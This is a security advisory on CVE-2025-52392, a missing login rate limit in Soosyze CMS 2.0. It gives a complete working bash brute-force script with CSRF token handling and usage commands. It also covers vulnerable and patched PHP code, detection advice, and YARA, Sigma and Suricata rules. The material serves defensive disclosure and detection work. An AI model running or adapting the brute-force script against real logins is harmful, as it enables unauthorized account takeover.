CVE-2025-52392

Executive Summary

CVE-2025-52392 exposes a critical authentication bypass vulnerability in Soosyze CMS 2.0. The /user/login endpoint lacks any rate-limiting or account lockout mechanisms, allowing an attacker to perform unlimited brute-force login attempts. This flaw directly corresponds to CWE-307 (Improper Restriction of Excessive Authentication Attempts). With a public proof-of-concept (PoC) exploit script available, the risk of unauthorized administrative access is immediate and severe. The vendor has not released a patch, leaving all installations of version 2.0 vulnerable.

Supply Chain & Package Security

Soosyze CMS is a PHP-based content management system distributed via GitHub and its official website. As an open-source project, its security relies on community contributions and vendor maintenance. The absence of a patch for this critical vulnerability means that any organization using Soosyze CMS 2.0 is at risk. Supply chain security is compromised as there is no known fix or workaround from the vendor, and the exploit code is publicly available.

CVSS Breakdown & Threat Level

CVSS v3.1 Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit with a simple script, requires no authentication, and can lead to full administrative control of the CMS.

Deep Dive & Mechanics

The vulnerability lies in the /user/login endpoint of Soosyze CMS 2.0. The application does not implement any of the following security controls:

• Rate Limiting: No restriction on the number of login attempts from a single IP address within a given time frame.
• Account Lockout: The system does not lock an account after a certain number of failed login attempts.
• CAPTCHA or Challenge-Response: No additional verification step to distinguish human users from automated scripts.
• CSRF Token Validation: While the PoC script extracts and submits a CSRF token, this token is not tied to the session or rate-limited, making it ineffective against brute-force attacks.

An attacker can send unlimited POST requests to /user/login with a known username/email and a password from a wordlist. The server responds with a success or failure message, allowing the attacker to iterate through passwords until the correct one is found. The PoC script demonstrates this by checking for a "redirect" string in the response, which indicates a successful login.

Vulnerable vs. Patched Code

Vulnerable Code (Soosyze CMS 2.0): The login handler in Soosyze CMS 2.0 does not include any rate-limiting or lockout logic. A simplified representation of the vulnerable PHP code is:

// Vulnerable: No rate limiting or lockout
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = $_POST['email'];
    $password = $_POST['password'];
    // Direct authentication attempt without checks
    if (authenticate($email, $password)) {
        // Login success
    } else {
        // Login failure
    }
}

Patched Code (Hypothetical): A patched version would include rate limiting and account lockout. Example:

// Patched: Rate limiting and lockout
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $ip = $_SERVER['REMOTE_ADDR'];
    $email = $_POST['email'];
    $password = $_POST['password'];

    // Check rate limit for IP
    if (rateLimitExceeded($ip)) {
        http_response_code(429);
        die('Too many requests');
    }

    // Check account lockout
    if (isAccountLocked($email)) {
        die('Account locked due to too many failed attempts');
    }

    if (authenticate($email, $password)) {
        // Login success, reset counters
        resetRateLimit($ip);
        resetFailedAttempts($email);
    } else {
        // Login failure, increment counters
        incrementFailedAttempts($email);
        if (failedAttemptsExceeded($email)) {
            lockAccount($email);
        }
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Install Soosyze CMS 2.0 on a local server (e.g., using Docker or a local PHP server).
2. Ensure the /user/login endpoint is accessible.
3. Prepare a wordlist of common passwords (e.g., rockyou.txt or a custom list).

Exploit Usage: The provided exploit script (exploit.sh) automates the brute-force attack. It extracts a CSRF token from the login page and submits it with each password attempt.

#!/usr/bin/env bash

set -euo pipefail

BASE_URL="http://localhost:8000"
LOGIN_PATH="/user/login"
EMAIL_FIELD="email"
PASS_FIELD="password"
TARGET_EMAIL="test@test.com"

WORDLIST_FILE="${1:-}"
DEFAULT_WORDS=("123456" "admin" "password" "qwerty" "letmein" "admin123" "password1")

form_url="$BASE_URL$LOGIN_PATH"
COOKIE_JAR="$(mktemp)"

get_form() {
    curl -sS -c "$COOKIE_JAR" -b "$COOKIE_JAR" "$form_url" > /tmp/login_page.html
}

extract_token() {
    local name value
    name=$(sed -nE 's/.*name="([_a-zA-Z0-9:-]*(token|csrf)[_a-zA-Z0-9:-]*)".*type="hidden".*/\1/p' /tmp/login_page.html | head -n1 || true)
    value=""
    if [[ -n "$name" ]]; then
        value=$(sed -nE "s/.*name=\"$name\".*value=\"([^\"]*)\".*/\1/p" /tmp/login_page.html | head -n1 || true)
    fi
    printf '%s\t%s\n' "$name" "$value"
}

post_login() {
    local pass="$1" tname="$2" tval="$3"
    curl -sS -o /tmp/resp.html -w "%{http_code}" \
        -c "$COOKIE_JAR" -b "$COOKIE_JAR" \
        -X POST "$form_url" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        -H "Origin: $BASE_URL" -H "Referer: $form_url" \
        --data-urlencode "$EMAIL_FIELD=$TARGET_EMAIL" \
        --data-urlencode "$PASS_FIELD=$pass" \
        $( [[ -n "$tname" && -n "$tval" ]] && printf -- '--data-urlencode %s=%s' "$tname" "$tval" )
}

echo "[*] Starting brute-force attack on $form_url"
[[ -n "$WORDLIST_FILE" && -r "$WORDLIST_FILE" ]] && mapfile -t words < "$WORDLIST_FILE" || words=("${DEFAULT_WORDS[@]}")

i=0
for pw in "${words[@]}"; do
    i=$((i+1))
    get_form
    IFS=$'\t' read -r TOKEN_NAME TOKEN_VALUE < <(extract_token)
    code=$(post_login "$pw" "$TOKEN_NAME" "$TOKEN_VALUE")

    if grep -q '"redirect"' /tmp/resp.html; then
        echo -e "[$i] Password found: '\e[1m$pw\e[0m' (HTTP $code)"
        break
    else
        echo "[$i] '$pw' (HTTP $code)"
    fi

    sleep 0.$((RANDOM%9+1))
done

rm -f "$COOKIE_JAR" /tmp/resp.html

Execution:

chmod +x exploit.sh
./exploit.sh wordlist.txt

The script will iterate through the wordlist and output the password when a successful login is detected.

Blue Team (Defender)

Detection:

• Monitor for a high volume of POST requests to /user/login from a single IP address.
• Look for repeated HTTP 200 responses with login failure messages.
• Alert on multiple failed login attempts for the same username within a short time window.

Mitigation:

• Implement rate limiting at the web server or application level (e.g., using mod_evasive for Apache or ngx_http_limit_req_module for Nginx).
• Enable account lockout after a configurable number of failed attempts.
• Deploy a Web Application Firewall (WAF) with rules to block brute-force patterns.
• Use CAPTCHA or multi-factor authentication (MFA) for login.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_52392_Soosyze_BruteForce {
    meta:
        description = "Detects Soosyze CMS brute-force login attempts"
        author = "Valters IT"
        date = "2025-08-13"
        reference = "CVE-2025-52392"
    strings:
        $s1 = "/user/login" ascii wide nocase
        $s2 = "email=" ascii wide nocase
        $s3 = "password=" ascii wide nocase
        $s4 = "redirect" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) and #s4 > 0
}

Sigma Rule

title: Soosyze CMS Brute-Force Login Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects multiple failed login attempts to Soosyze CMS /user/login endpoint
author: Valters IT
date: 2025-08-13
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/user/login'
        sc-status: 200
    condition: selection | count() by src_ip > 10 within 5 minutes
falsepositives:
    - Legitimate users with forgotten passwords
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52392 Soosyze CMS Brute-Force Login Attempt"; flow:to_server; content:"POST"; http_method; content:"/user/login"; http_uri; content:"email="; http_client_body; content:"password="; http_client_body; threshold:type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the login endpoint temporarily if possible, or restrict access to trusted IPs only.
2. Implement rate limiting at the web server level (e.g., Nginx limit_req_zone or Apache mod_evasive).
3. Enable account lockout after 3-5 failed attempts, with a manual unlock process.
4. Deploy a WAF with rules to block brute-force patterns (e.g., OWASP ModSecurity Core Rule Set).

Long-Term Fix:

• The vendor must release a patched version of Soosyze CMS that includes built-in rate limiting and account lockout mechanisms.
• Until a patch is available, consider migrating to a different CMS or implementing a custom authentication proxy.

Valters IT Signature: This report was generated by Valters IT DevSecOps & Cyber Threat Intelligence. For further analysis or remediation support, contact your security team.

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